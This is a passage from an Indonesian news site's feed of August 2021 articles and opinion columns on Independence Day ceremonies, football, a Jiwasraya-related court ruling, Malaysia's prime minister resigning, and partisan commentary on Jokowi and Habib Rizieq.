menegaskan Lautaro sudah mendengar banyak kabar soal kepindahannya dari Inter dan pemain asal Argentina itu tidak menanggapinya dengan serius. “Dia mendengar banyak yang dikatakan, tetapi tidak menganggapnya serius. Dia percaya, dan kami percaya, bahwa masih ada kehidupan di Inter,” ungkap Camano. Sebelumnya sempat muncul kabar klub Liga Premier Inggris Arsenal dan Tottenham Hotspur mencoba untuk mendatangkan Lautaro Martinez pada jendela transfer musim panas ini. Meski pun begitu, pihak Inter dikabarkan menolak setelah mereka kehilangan Romelu Lukaku yang memilih pindah ke Chelsea seharga Rp1,9 triliun. Sejak membela Inter Milan pada Juli 2018 lalu, Lautaro Martinez tercatat sudah tampil di 132 pertandingan di berbagai ajang serta mencetak 49 gol dan 20 assist. Pada musim lalu, Martinez sukses mencetak 19 gol dan 11 assist dari 48 penampilan di berbagai ajang serta membantu Inter meraih gelar Serie A Italia pertama sejak 2010 lalu. (mth)

Insiden Tali Bendera Putus Warnai Upacara HUT RI di Babel

Pangkalpinang, FNN - Insiden tali pengikat Bendera Merah Putih putus mewarnai upacara Hari Ulang Tahun Ke-76 Republik Indonesia di Provinsi Kepulauan Bangka Belitung (Babel), namun Bendera Merah Putih tetap dapat berkibar hingga upacara berlangsung. Berdasarkan pantauan di lapangan upacara Pemprov Kepulauan Babel, di Pangkalpinang, Selasa pagi, saat memasuki prosesi pengibaran bendera oleh pasukan pengibar bendera (paskibra) dan akan memulai membentangkan bendera, dengan tiba-tiba salah satu tali putus, sehingga prosesi pengibaran bendera tersebut terhenti sejenak. Insiden tali salah satu bendera terputus tersebut tidak berlangsung lama, karena petugas dengan cepat langsung memanjat tiang bendera untuk mengikatkan kembali tali bendera tersebut. Meski terjadi insiden tali pengikat bendera terputus tersebut, namun tidak mempengaruhi upacara bendera HUT Ke-76 RI yang diikuti seluruh Forkopimda Provinsi Kepulauan Babel itu yang berlangsung aman, lancar, dan khidmat. Gubernur Kepulauan Babel Erzaldi Rosman Djohan usai upacara HUT Ke-76 RI mengatakan pelaksanaan upacara 17 Agustus tahun ini penuh dengan khidmat dan diharapkan di seluruh Indonesia rasa bangga dan semangat kemerdekaan ini terus membara di setiap jiwa masyarakat. "Saya mengucapkan syukur kepada Allah SWT, hari ini kita masih diberikan kesempatan untuk melaksanakan upacara HUT Ke-76 RI dengan penuh kekhidmatan," ujarnya. Menurut dia, di tengah pandemi COVID-19 ini, semangat rasa bangga dan kemerdekaan betul-betul ditularkan ke seluruh lapisan masyarakat Indonesia khususnya Provinsi Kepulauan Babel. "Semangat ini harus kita tularkan betul, terlebih kita sedang menghadapi pandemi COVID-19, sehingga bangsa ini tangguh, kuat dan tumbuh untuk ke depannya," katanya pula. (mth)

Puan: Tugas Baca Teks Proklamasi Punya Makna Tersendiri

Jakarta, FNN - Ketua DPR RI Puan Maharani mengatakan tugas sebagai pembaca Teks Proklamasi dalam Upacara Peringatan Detik-Detik Proklamasi Kemerdekaan RI, Selasa, memiliki makna tersendiri bagi dirinya. "Tugas ini dipercayakan kepada saya terkait posisi selaku Ketua DPR RI. Namun saya termasuk orang yang tidak percaya begitu saja akan sebuah kebetulan belaka, bahwa kakek saya saat itu yang didaulat membacakan Teks Poklamasi dan 76 tahun kemudian cucu perempuannya yang didaulat untuk membacakan teks yang sama," kata Puan dalam keterangannya di Jakarta. Menurut dia, tugas membaca Teks Proklamasi yang 76 tahun lalu dibacakan Bung Karno memiliki makna tersendiri baginya sebagai cucu Sang Proklamator. Dia mengaku bisa merasakan bagaimana suasana tidak menentu akibat Perang Dunia II saat Soekarno-Hatta memproklamirkan Kemerdekaan RI pada 17 Agustus 1945. "Hari ini, suasana tidak menentu yang sama dirasakan dunia akibat ‘perang’ melawan COVID-19 dan varian Delta," ujarnya. Karena itu, Puan mencoba merenungi pesan di balik tugas yang diberikan kepada dirinya sebagai pembaca Teks Proklamasi pada Upacara Peringatan Detik-Detik Proklamasi Kemerdekaan RI dalam rangka HUT ke-76 RI ini. "Apa makna dari tugas ini, itu yang terus coba saya renungi, pesan dan misi apa yang saya emban? Satu hal yang saya resapi sejak hari saya dilantik sebagai Ketua DPR RI bahwa saya harus terus menjaga dan memperjuangkan cita-cita kemerdekaan yang diinginkan para 'founding fathers' kita dan pejuang-pejuang terdahulu," katanya. Menurut dia, Indonesia yang merdeka harus berdaulat secara politik, berdikari secara ekonomi ,dan berkepribadian dalam budaya bangsanya. Puan mejelaskan Proklamasi adalah bukti bahwa kemerdekaan bisa diraih kalau bangsa Indonesia bersatu dan mempunyai cita-cita bersama. “Bahwa kalau bangsa kita bergotong royong, apa pun bisa kita wujudkan. Proklamasi itu awal dari proses membangun republik ini menjadi Indonesia Maju dan Hebat," ujarnya. (mth)

Gubernur Enembe Minta Milenial Maknai Kemerdekaan RI dengan Baik

Jayapura, FNN - Gubernur Papua Lukas Enembe meminta masyarakat khususnya kaum milenial di wilayahnya untuk memaknai peringatan HUT Ke-76 Kemerdekaan RI dengan baik. Juru Bicara Gubernur Papua Muhammad Rifai Darus, di Jayapura, Selasa, mengatakan Gubernur Lukas Enembe menyampaikan apresiasinya karena upacara peringatan HUT Ke-76 RI dapat terlaksana dengan baik dan lancar. "Perjuangan untuk mencapai kemerdekaan RI bukan hal yang main-main, sehingga harus diimplementasikan dengan baik pula," katanya. Menurut Rifai Darus, Gubernur Lukas Enembe juga memberikan apresiasinya kepada para pimpinan organisasi perangkat daerah (OPD) yang seluruhnya hadir dalam upacara di Gedung Negara Jayapura. "Kemerdekaan RI adalah sesuatu yang penting dan sakral, sehingga harus dijaga dengan baik," ujarnya. Dia menjelaskan, Gubernur Lukas Enembe juga meminta agar pelaksanaan upacara di Gedung Negara harus menjadi pertimbangan tersendiri mengingat bukti betapa besar rasa memiliki NKRI dalam dirinya. "Meskipun masih dalam kondisi pemulihan, namun Gubernur Lukas Enembe bersikeras memimpin secara langsung upacara HUT Ke-76 RI di Gedung Negara Jayapura," katanya lagi. Dia menambahkan sebelum memimpin upacara HUT Ke-76 RI, Gubernur Lukas Enembe sempat diinfus oleh para tenaga medis mengingat kondisinya yang masih dalam proses pemulihan setelah mengalami sakit cukup lama. (mth)

HUT ke-76 RI, Sri Mulyani: Indonesia Tangguh Hadapi Krisis

Jakarta, FNN - Menteri Keuangan Sri Mulyani Indrawati menyatakan Indonesia merupakan bangsa yang tangguh dalam menghadapi berbagai krisis seperti dalam meraih kemerdekaan dan melawan pandemi COVID-19. “Seperti krisis-krisis sebelumnya, Bangsa Indonesia adalah bangsa yang tangguh. Kita mampu mengatasi tantangan hari ini dan ke depan,” katanya dalam akun instagram pribadinya @smindrawati di Jakarta, Selasa. Sri Mulyani menuturkan Indonesia didirikan dengan cita-cita mulia melalui perjuangan yang tangguh untuk menghadapi banyak ketidakmudahan. Ia menjelaskan perjuangan Bangsa Indonesia dahulu adalah melawan penjajah agar bisa bebas serta merdeka dan saat ini giliran masyarakat untuk berjuang bersama melawan pandemi. Perjuangan masyarakat melawan pandemi COVID-19 dapat dilakukan salah satunya dengan upaya menjaga disiplin protokol kesehatan agar penyebaran virus dapat ditekan. “Esensi perjuangannya masih sama, berjuang untuk bisa melalui pandemi ini,” ujarnya. Sri Mulyani optimis Indonesia akan mampu keluar dari krisis seperti sebelum-sebelumnya yang tidak hanya tangguh melainkan juga terus tumbuh. “Kita juga bisa turut berjuang dengan selalu menjaga protokol kesehatan dalam setiap aktivitas. Ayo berjuang bersama. Dirgahayu Kemerdekaan Indonesia ke-76. Merdeka!,” tegasnya. (mth)

Pakaian dan Kotak Pandora

By M Rizal Fadillah PIDATO Presiden di depan Sidang Paripurna MPR juga di depan Sidang Paripurna DPR menjadi menarik bukan karena konten pidatonya saja tetapi juga kostum atau pakaian yang dikenakan Presiden Jokowi. Pidato kenegaraan ketika pimpinan MPR, DPR, dan anggota serta undangan memakai Pakaian Sipil Lengkap, Jokowi memakai pakaian adat suku Baduy. Bukan soal baju adat Baduy pula yang unik melainkan ganjil pemakaiannya. Jika acara bukan resmi tentu bagus-bagus saja mengenakan baju adat. Tetapi dalam acara kenegaraan 16 Agustus seperti ini menjadi aneh. Ada yang mengkritisi akan akal sehatnya. Siapa sutradaranya. Sementara Masyarakat adat ada yang protes mengecam penggunaan atribut yang tidak sejalan dengan perhatian sebenarnya Jokowi pada hak-hak masyarakat adat. Lagi pula memilih salah satu pakaian saja menimbulkan rasa ketidakadilan perhatian pada adat lain. Soal "tidak nempat" dalam berpakaian mungkin hanya menimbulkan gumaman dan kecaman. Namun yang menarik justru pengantar Ketua MPR saat menyatakan agenda MPR untuk menetapkan Pokok-Pokok Haluan Negara (PPHN) semacam GBHN dahulu. Ketua MPR menyebut amandemen ini terbatas dan tidak meluas. Jika meluas akan menjadi bahaya. Ia menyebut seperti membuka kotak Pandora. Mungkin yang dimaksud dengan kotak Pandora itu termasuk soal perpanjangan masa jabatan untuk tiga periode. Memang jika hal ini dibahas dan ditetapkan bakal menimbulkan kegoncangan politik. Bukan berarti tidak bisa untuk mendapat dukungan partai politik tetapi publik akan bereaksi sangat keras. Amandemen perpanjangan periodisasi adalah putusan tidak rasional, memaksakan, dan tidak demokratis. Sebenarnya PPHN pun bisa menjadi kotak pandora jika tidak dijalankan dengan konsekuen. Berbeda dengan GBHN dalam UUD 1945 asli dimana Presiden adalah mandataris MPR (untergeordnet). Kini Jokowi bukan lagi mandataris. Kedudukan MPR dengan Presiden saat ini ternyata sejajar (neben). Presiden Jokowi menyampaikan pidato kenegaraan memakai baju adat suku Baduy dengan menyelempangkan tas. Mungkin ada yang nyeletuk bahwa tas Jokowi tersebut berisi uang 11 Trilyun sebagaimana yang pernah dipidatokannya. Atau Presiden sedang membawa tas kotak Pandora yang ketika tas itu dibuka akan membumihanguskan bangsa dan negara? Kalau begitu keadaannya, sungguh berbahaya sekali Pak Jokowi. Karenanya menjadi suatu keniscayaan bahwa harus cepat diganti. Merdeka ! *) Pemerhati Politik dan Kebangsaan

In-memoriam Bang ADS, Selamat Jalan Abangku

Oleh M. Nigara "GUA INI APALAH, hidup gak lama Nigara," itu kata-kata terakhir sebelum Andi Darussalam Tabusala meninggalkan Jakarta, sekitar dua atau tiga bulan silam. Lalu, ia menambahkan. "Kita ini manusia, tempatnya salah. Makanya, gak adalah gua simpan kemarahan kepada siapa pun. Tapi, kalau di permukaan gua masih suka meledak, lu tahu gua kan?" Pagi ini, persis di hari Kemerdekaan Republik Indonesia yang ke-76, ya Selasa (17/8/2021) Bang ADS, begitu saya dan teman-teman wartawan peliput sepakbola 1985-2010, menyapanya, beliau berpulang ke Pangkuan Illahi Robby. Inna lillaahi wa inna ilaihi rojiun. Semoga Allah ampuni khilafnya, Allah limpahkan rahmatNYA yang maha luas, Allah bukakan pintu surga untuk Bang ADS, aamiin. Caprina vs MU Saya bergaul sangat erat dengan Bang ADS selepas pertarungan Caprina vs Makassar Utama di Bali. Ia melontarkan ada upaya penyuapan ke klubnya. Saya lupa persisnya, kapan. Karena lontaran itu, ADS dipanggil oleh Mayjen TNI (purn) Acub Zainal, administrator Galatama. Setelah pertemuan, ADS langsung 'disergap' wartawan. Ada Salamun Nurdin (Pelita), ada Bang Mardi, Mas Budiman (Merdeka), ada Riang Panjaitan (Sinar Pagi), ada Isyanto (Pos Kota) datang terlambat, dan ada beberapa lainnya. "Sebelum gue mulai, mana yang namanya Nigara?" tanyanya. "Saya bang," jawab saya. "Habis ini kita ngomong berdua ya," katanya lagi. "Ini off the record ya," tukas Bang ADS. Lalu ia menceritakan seluruh proses dugaan terjadi upaya suap. Berulang-ulang ADS, menyebut nama si pending Emas, Herlina Kassim. "Ini masih pendalaman, jadi jangan sebut nama siapa pun, " tegasnya. Tak lama Isyanto merapat. Tak ada hal istimewa lain hari itu, kecuali itu kali awal saya dekat beliau. Saat berdua, kami saling membuka data dan pengetahuan. Saya, saat itu, menjadi satu-satunya wartawan yang bisa tembus ke pusat suap. Di antar Usman (kiper Cahaya Kita) dan ditemani sahabat saya Hermanto (Analisa, Medan), saya bertemu Lo Bie Tek, orang selama ini diisukan sebagai bandar dan penyuap. Tapi, setelah LBT, begitu saya menyapanya, berkisah, saya yakin dia bukanlah tokoh utama. Bahkan, dia bukan penyuap. "Saya ini dipercaya oleh mereka (para penjudi bola) untuk menampung dan membayar hasil taruhan," begitu kata saya Bang ADS menirukan kisah LBT. "Kenapa bisa begitu? Karena mereka saling tidak percaya," lanjut LBT. Di samping itu, LBT juga ditugaskan untuk membayar pemain-pemain tertentu oleh para bandar itu. Saya juga gak mau tanya kenapa para pemain harus dikasih duit. Pokoknya saya laksanakan saja," tutur LBT. Nah karena dia juga dealer dan distributor mobil, Agung Motor, makanya ia menganjurkan pada para pemain itu menerima mobil saja. " Duit-duit itu jadi DP dan cicilan." Lebih Dalam Sehari setelah press-konference di Liga Galatama, dunia sepakbola meledak. Pos Kota menurunkan headline Si-Pending Emas Berusaha Menyuap. Kardono, Ketum PSSI marah, Jendral Acub juga marah, ADS, kelabakan. Singkatnya Bu Herlina menuntut keduanya. Dan setelah sidang berakhir, Bu Herlina yang dinyatakan menang meminta ganti rugi, jika tidak keliru Rp 175 rupiah. Sejak kasus itu, ADS mulai dihitung orang. Bahkan karena kepiawaiannya, ia bisa masuk jauh lebih dalam. Luar biasa, ia tahu siapa saja tokoh yang terlibat suap. Ia bahkan pernah menantang praktisi sepakbola untuk buka-bukaan. Sejak itu pula, saya, Riang, kemudian datang Eddy Lahengko, menjadi trio yang selalu bersama ADS. Kemana saja, di mana saja, kami selalu bersama. Belakangan bergabung Isyanto, Barce (Wawasan), Suryo Pratomo (Kompas) dan lain-lain. ADS juga unik, ia sangat ringan tangan, suka sekali membantu. Rasanya, tak ada seorang wartawan pun yang tidak dibantunya. Meski begitu sumbunya terlalu pendek, apa-apa yang tak sejalan, langsung dibom-bardir. Banyak pos di PSSI yang ia duduki. Semua diawali saat ditunjuk sebagai Sekertaris Liga-Galatama, era Pak Acub. Lalu di komisi disiplin dan terakhir sebagai manajer tim nasional. Sekali lagi, sebagai pribadi, Bang ADS sangat baik. Perhatiannya pada teman seolah melebihi keluarga. ADS juga tak segan menjadi benteng bagi sahabat-sahabat untuk persoalan apa saja. "Gua, kalo orang baik ke gua, mati aja gua mau buat dia!" itu berulang kali ia tegaskan. Saat ini, ADS sudah berpulang. Semoga seluruh kebaikannya bisa ia petik di akhirat dan semoga seluruh kekhilafannya, diampuni Allah. Selamat jalan Abangku...... Penulis Wartawan Sepakbola Senior Mantan wa-Sekjen PWI

Pesepak Bola Titus Bonai Bergabung ke Partai Gelora

Jakarta, FNN – Eks penyerang Timnas Senior Indonesia Titus Bonai atlet asal Papua menyusul rekannya Okto Maniani bergabung ke Partai Gelombang Rakyat (Gelora) Indonesia. Tibo, sapaan akrab Titus Bonai secara resmi bergabung dengan Partai Gelora pada Senin (16/8/2021) siang ini di Papua. Dengan bergabungnya Okto Maniani dan Titus Bonai, Partai Gelora yakin menjelang Pemilu 2024 bisa menarik simpati masyarakat. “Menyusul Okto Maniani, Siang ini (Senin, 16/8/2021), Titus Bonay (Tibo), mantan pemain Timnas Indonesia asal Papua, pemain Persipura dan klub-klub lainnya, bergabung bersama Partai Gelora Indonesia,” kata Wakil Ketua Umum Partai Gelora Indonesia Fahri Hamzah dalam keterangannya, Senin (16/8/2021). Menurut Fahri, bergabungnya Okto Maniani dan Titus Bonai merupakan hadiah yang luar biasa bagi Partai Gelora menjelang peringatan Kemerdekaan RI ke-76. “Ini hadiah bertubi-tubi yang luar biasa menjelang peringatan Proklamasi Kemerdekaan Negara Kesatuan Republik Indonesia yang ke-76. Okto Maniani dan Titus Bonai juga akan meramaikan peristiwa PON di Papua bulan Oktober mendatang,” kata Fahri. Wakil Ketua DPR Periode 2014-2019 ini menegaskan, bergabungnya Okto dan Tibo ke Partai Gelora menandakan bahwa Partai Gelora mendapatkan sambutan luas dari tokoh-tokoh dan masyarakat Papua. “Penerimaan yang luas dari tokoh-tokoh dan masyarakat Papua kepada Partai Gelora adalah perlambang bahwa partai ini memang mencerminkan warna ke-Indonesiaan yang kuat,” tegas Fahri. Visi ke-Indonesiaan Partai Gelora dengan Arah Baru Indonesia Menuju Lima Besar Dunia, lanjutnya, tidak hanya ‘ditangkap’ oleh orang-orang besar di Indonesia Barat saja, tetapi juga di Indonesia Timur. “Orang-orang besar dari barat dan timur dari seluruh Indonesia sudah menyambutnya dengan baik sejak pawai kebangsaan dan Gerakan Arah Baru yang kita rancang pada tahun-tahun sebelumnya,” katanya. Fahri berharap dengan keanggotaan dua pemain sepak bola nasional asal Papua ini, akan menjadikan penanda pilihan politik masyarakat Papua dan rakyat Indonesia pada umumnya dalam menyalurkan aspirasi dalam Pemilu 2024 mendatang. “Mudah-mudahan keanggotaan dua pemain fenomenal kita dari Papua ini, akan menjadi tonggak penanda, bahwa Partai Gelombang Rakyat Indonesia akan menjadi pilihan masyarakat Indonesia ke depan. Ini harus kita syukuri karena momen-momen ini, kita mendapatkan kebahagiaan berkali-kali,” tandas Fahri Hamzah. Ketua Bidang Rekrutmen Anggota DPN Partai Gelora Indonesia Endy Kurniawan mengatakan, sejak awal mendengar Titus Bonai akan menyusul bergabung ke Partai Gelora. Karena itu, ia mengapresiasi kinerja DPW Papua yang secara gigih berhasil merekrut tokoh-tokoh Papua seperti Okto Maniani dan Titus Bonai. “Platform Gelora yang terbuka dan kolaboratif saya kira menjadi daya tarik bagi masyarakat Indonesia yang sangat majemuk seperti di Papua,” kata Endy. Partai Gelora, kata Endy, bersyukur atas bergabungnya Tibo. Hal ini akan jadi pendorong untuk terus meningkatkan kerja teritorial dan kerja digital seluruh fungsionaris baik di DPN, DPW maupun DPD se-Indonesia. Titus Bonai bukanlah sosok asing di dunia sepak bola tanah air yang berposisi sebagai penyerang. Pria bernama lengkap Titus John Londouw Bonai ini lahir di Jayapura, Papua, pada 4 Maret 1989. Tibo mengawali kariernya bersama Persipura Jayapura U-21 pada tahun 2008. Sebelum pandemi, Titus Bonai kembali bermain untuk Borneo FC, yang sempat dibelanya selama dua musim. Selain bermain di Persipura Jayapura, Tibo juga sempat bermain di Sriwijaya FC, PSM Makassar, Semen Padang, Bontang FC dan Persiram Raja Ampat. Tibo juga sempat membela klub Thailand, BEC Tero Sasana. Di Timnas Indonesia, Titus Bonai pernah bermain untuk Timnas U-23 Indonesia, Piala AFC 2012 dan ajang Sea Games 2011 dibawah asuhan Rahmad Darmawan. Kala itu penampilan Titus Bonai begitu memukau dan konsisten saat berduet dengan Patrich Wanggai rekan tanah kelahirannya di Papua begitu fantastis. (ant)

Hakim Batalkan Dakwaan Terhadap 13 Perusahaan Investasi

Jakarta, FNN - Majelis hakim pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta membatalkan surat dakwaan terhadap 13 perusahaan manajemen investasi yang awalnya didakwa melakukan tindak pidana korupsi dalam pengelolaan transaksi pembelian dan penjualan instrumen keuangan pada reksa dana milik PT. Asuranji Jiwasraya selama 2008-2018. "Mengadili, menerima keberatan atau eksepsi tentang penggabungan berkas perkara terdakwa 1, 6, 7, 9, 10, 12. Menyatakan surat dakwaan batal demi hukum, memerintahkan perkara a quo tidak diperiksa lebih lanjut," kata ketua majelis hakim IG Eko Purwanto di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin malam. Majelis hakim terdiri dari IG Eko Purwanto selaku ketua majelis hakim dengan anggota majelis yaitu Rosmina, Teguh Santosa, Sukartono dan Moch Agus Salim. Eksepsi atau nota keberatan itu diajukan oleh 6 perusahaan investasi yaitu PT. Dhanawibawa Manajemen Investasi yang saat ini bernama PT Pan Arcadia Capital, PT. MNC Asset Management yang sebelumnya bernama PT. Bhakti Asset Management, PT. Maybank Asset Management, yang sebelumnya bernama PT GMT Aset Manajemen atau PT Maybank GMT Asset Management, PT. Jasa Capital Asset Management yang sebelumnya bernama PT. Prime Capital, PT. Pool Advista Aset Manajemen yang sebelumnya bernama PT. Kharisma Asset Management dan PT. Treasure Fund Investama. Dalam pertimbangannya, majelis hakim menilai bahwa perkara ke-13 perusahaan investasi tidak berhubungan satu sama lain sehingga akan menyulitkan majelis hakim untuk menilai perbuatan masing-masing terdakwa. "Tindakan penuntut umum yang menggabungkan begitu banyak perkara ke dalam satu berkas perkara akan menyulitkan majelis hakim untuk memilah-milah tiap perkara pidananya oleh karenanya akan merugikan kerugian yang begitu besar bagi para terdakwa," ungkap hakim Eko. Majelis hakim menyebutkan tindak pidana yang didakwakan kepada 13 terdakwa tersebut tidak ada sangkut paut dan hubungan satu sama lain. "Konsekuensi pemisahan para terdakwa juga mengakibatkan kehadiran masing-masing terdakwa tidak relevan terhadap terdakwa lainnya, masing-masing terdakwa jadi terpaksa turut serta terhadap pemeriksan terdakwa lain dan penyelesaian saksi-saksi dari terdakwa yang satu tergantung dengan pemeriksaan terdakwa lainnya," tambah hakim Eko. Artinya, majelis hakim melihat perkara tersebut menjadi rumit dan bertentangan dengan asas persidangan yang sederhana, cepat dan berbiaya ringan. "Syarat penggabungan seperti dalam pasal 141 KUHAP untuk pemeriksaan tidak terpenuhi sehingga keberatan atau eksepsi terhadap penggabungan berkas perkara yang diajukan terdakwa 1, 6, 7, 9, 10 dan 12 dipandang beralasan dan berdasarkan hukum oleh karenanya harus diterima," ungkap hakim Eko. Karena keberatan terhadap penggabungan berkas perkara diterima, maka surat dakwaan maka surat dakwaan harus dinyatakan batal demi hukum. "Silakan Penuntut Umum berhak melakukan perlawanan atau menyerahkan perkara menjadi 'split' 13 berkas perkara," kata hakim Eko seusai mengetuk palu. Awalnya, jaksa penuntut umum pada Kejaksaan Agung mengatakan perbuatan 13 perusahaan investasi tersebut tidak mematuhi ketentuan Pasal 15 Peraturan Otoritas Jasa Keuangan Nomor 43/POJK.04/2015 Tentang Pedoman Perilaku Manajer Investasi yang menyatakan manajer investasi dapat menerima komisi, sepanjang komisi tersebut secara langsung bermanfaat bagi manajer investasi dalam proses pengambilan keputusan investasi untuk kepentingan nasabah dan tidak mengakibatkan benturan kepentingan dengan nasabah dan/atau merugikan kepentingan nasabah. Akibat perbuatan para terdakwa, negara mengalami kerugian senilai total Rp10,985 triliun. Ketigabelas perusahaan tersebut adalah: 1. PT. Dhanawibawa Manajemen Investasi yang saat ini bernama PT Pan Arcadia Capital 2. PT. Oso Manajemen Investasi 3. PT. Pinnacle Persada Investama 4. PT. Millenium Capital Management yang sebelumnya bernama PT Millenium Danatama Indonesia 5. PT. Prospera Asset Management 6. PT. MNC Asset Management yang sebelumnya bernama PT. Bhakti Asset Management 7. PT. Maybank Asset Management, yang sebelumnya bernama PT GMT Aset Manajemen atau PT Maybank GMT Asset Management 8. PT. Gap Capital 9. PT. Jasa Capital Asset Management yang sebelumnya bernama PT. Prime Capital 10. PT. Pool Advista Aset Manajemen yang sebelumnya bernama PT. Kharisma Asset Management 11. PT. Corfina Capital 12. PT. Treasure Fund Investama 13. PT. Sinarmas Asset Management

Habib Rizieq Wajib Bebas, Harapan Selayaknya

Oleh Ady Amar ALASAN apa menahan tahanan yang sudah habis masa tahanannya. Ini masuk pelanggaran HAM. Dan ini dikenakan pada Habib Rizieq Shihab, yang mestinya tanggal 8 Agustus 2021 adalah akhir masa tahanannya. Seharusnya keesokan harinya, ia sudah bisa menghirup udara bebas. Tapi ternyata masa tahanannya ditambah sebulan ke depan, dengan alasan karena ada putusan Pengadilan Tinggi Jakarta, berkenaan dengan banding terdakwa pada kasus RS Ummi, yang belum diputus. Dengan belum diputusnya kasus itu, maka penahanannya ditambah sebulan ke depan. Apakah jika sebulan ke depan PT Jakarta belum juga memutus kasus bandingnya, maka penahanannya juga akan ditambah lagi sebulan, dan seterusnya demikian. Sebenarnya pada dua kasus banding lainnya, kasus Kerumunan Petamburan dan kasus Kerumunan Megamendung, tidak ada hubungan dengan kasus RS Ummi. Masing-masing kasus berdiri sendiri. Pada dua kasus Petamburan dan kasus Megamendung, ia sudah menjalani hukumannya yang berakhir pada tanggal 8 Agustus, dan mestinya pada tanggal 9 Agustus ia sudah bebas. Menjadi aneh jika dua kasus itu ditautkan dengan kasus yang belum diputus PT Jakarta (kasus RS Ummi), dan karenanya penahanannya mesti ditambah sebulan. Alasan yang diberikan, agar yang bersangkutan tidak menghilangkan barang bukti dan tidak melarikan diri. Tampak alasan dibuat-buat meski harus melanggar asas keadilan. Putusan Pengadilan Negeri (PN) Jakarta Timur pada kasus Tes Swab RS Ummi, itu Habib Rizieq diganjar 4 tahun penjara. Pasal pemberatnya adalah bahwa yang dilakukan Habib Rizieq itu menimbulkan keonaran. Meski tuduhan keonaran itu tidak dapat dibuktikan, keonaran apa yang ditimbulkan Habib Rizieq itu. Akal sehat publik seolah ingin dibutakan oleh tuntutan jaksa penuntut umum (6 tahun), dan lalu Majelis Hakim memutus 4 tahun. Tuntutan tanpa bukti itu dibuat agar manusia satu ini bisa dihukum seberat-beratnya, meski apa yang diperbuat adalah hal sepele yang tidak harus diseret ke pengadilan, apalagi sampai dikenakan pasal-pasal pemberat agar tuntutan bisa maksimal. Kasus Habib Rizieq ini bukan semata kasus hukum, tapi lebih bermuatan politik. Hukum yang diseret pada politik, dan itu kekuasaan, pastilah menimbulkan ketidakadilan. Hukum bisa dibuat berat jika diinginkan untuk dibuat menjadi berat, atau sebaliknya. Hukum seperti dibuat suka-sukanya. Intervensi kekuasaan pada kasus Habib Rizieq Shihab ini tampak terang benderang. Kasus kerumunan, jika kasus Habib Rizieq itu dianggap sebuah kesalahan, itu bukan cuma dilakukan ia seorang. Banyak pihak melakukan hal sama, yang menimbulkan kerumunan massa, termasuk kasus Presiden Joko Widodo (Jokowi), saat di NTT yang lalu. Dan yang terbaru, kasus pembagian sembako di Grogol, Jakarta Barat, yang menimbulkan kerumunan massa, dan itu dianggap biasa-biasa saja. Menyikapi hal itu, pengamat perkotaan, Marco Kusumawijaya, dalam Twitter-nya, sampai patut menduga apa yang dilakukan Presiden Jokowi itu “bentuk sabotase”, agar kasus Covid-19 di Jakarta yang sudah melandai turun akan kembali menaik. Bebaskan Habib Rizieq Membebaskan Habib Rizieq itu bukan belas kasihan, tapi itu memang haknya untuk bebas. Dengan menahannya, itu pelanggaran atas asas keadilan dan bahkan pelanggaran HAM. Maka, jika muncul suara publik mempertanyakan hak keadilan pada Habib Rizieq, itu semata suara moral. Mestinya suara moral publik itu dilihat sebagai bentuk protes, bahwa ada yang salah dan tidak beres dalam masalah penegakan hukum dan keadilan, dan itu dalam kasus Habib Rizieq Shihab. Jika suara moral itu tidak didengar, maka tidak mustahil publik akan mencari jalannya sendiri dengan bentuk protes yang lebih keras, yang diluar apa yang bisa dipikirkan. Jangan menunggu publik mencari jalannya sendiri. Peristiwa umat Islam mencari keadilan atas penodaan agama (kasus Ahok) dengan berbondong-bondong ke Jakarta (2016), yang dikenal sebagai Aksi 411 dan 212, itu bukan hal yang mustahil bisa dilakukan kembali. Tentu ini bukan hal yang diinginkan. Jika bisa ditempuh dengan cara sewajarnya, mengapa cara itu tidak dipilih saja dalam menyelesaikan persoalan yang ada. Persoalan besar bisa tampak kecil, jika pendekatan yang diberikan mengedepankan sikap bijak. Negeri ini menghadapi banyak persoalan; masalah kesulitan ekonomi, pandemi Covid-19 dan masalah lainnya, menjadi berat jika harus ditambah dengan persoalan lain. Menyelesaikan persoalan itu langkah bijak, bukan malah mengekalkan persoalan yang tidak semestinya. Membebaskan Habib Rizieq Shihab, harusnya jadi prioritas, tentu bukan mengistimewakan, tapi mengembalikan hak semestinya yang terampas. (kempalan.com) Penulis adalah kolumnis

Perdana Menteri Malaysia Mengundurkan Diri

Kuala Lumpur, FNN - Perdana Menteri Malaysia Muhyiddin Yassin menyerahkan surat pengunduran diri ke Raja Malaysia Yang di-Pertuan Agong Sultan Abdullah Ri'ayatuddin di Istana Negara, Kuala Lumpur, Senin, 16 Agustus 2021. Muhyiddin tiba di Istana Negara melalui pintu utama dengan mengendarai kendaraan Alphard warna hitam setelah sebelumnya melakukan rapat kabinet terakhir di Putrajaya. Rombongan Muhyiddin tiba di Istana Negara sekitar pukul 12.30 waktu setempat dan melakukan pertemuan dengan Yang di-Pertuan Agong sekitar setengah jam. Setelah melakukan pertemuan dengan raja, Muhyiddin kembali ke rumahnya di Bukit Damansara, Kuala Lumpur. Dikutip dari Antara, hingga pukul 13:42 waktu setempat belum ada pernyataan resmi dari Istana Negara maupun dari Kantor Perdana Menteri terkait pertemuan tersebut. Selain bertemu Muhyiddin, Yang di-Pertuan Agong juga melakukan pertemuan dengan Jaksa Agung, Ketua KPU dan Kepala Polisi Diraja Malaysia. Sementara itu Menteri Wilayah Federal Annuar Musa melalui postingan di Facebook-nya meminta maaf atas segala kesalahan, kelemahan dan kekurangannya selama menjabat. “Kami tetap tenang dan berpikiran terbuka. Semua keputusan bersama. Yang penting kami selalu menghormati dan mematuhi hukum dan konstitusi negara. Dasar pertimbangan yang paling penting adalah kesejahteraan rakyat. Orang yang kami layani sampai garis finish," katanya. (MD).

Indonesia Harus Merdeka Dari Pandemi

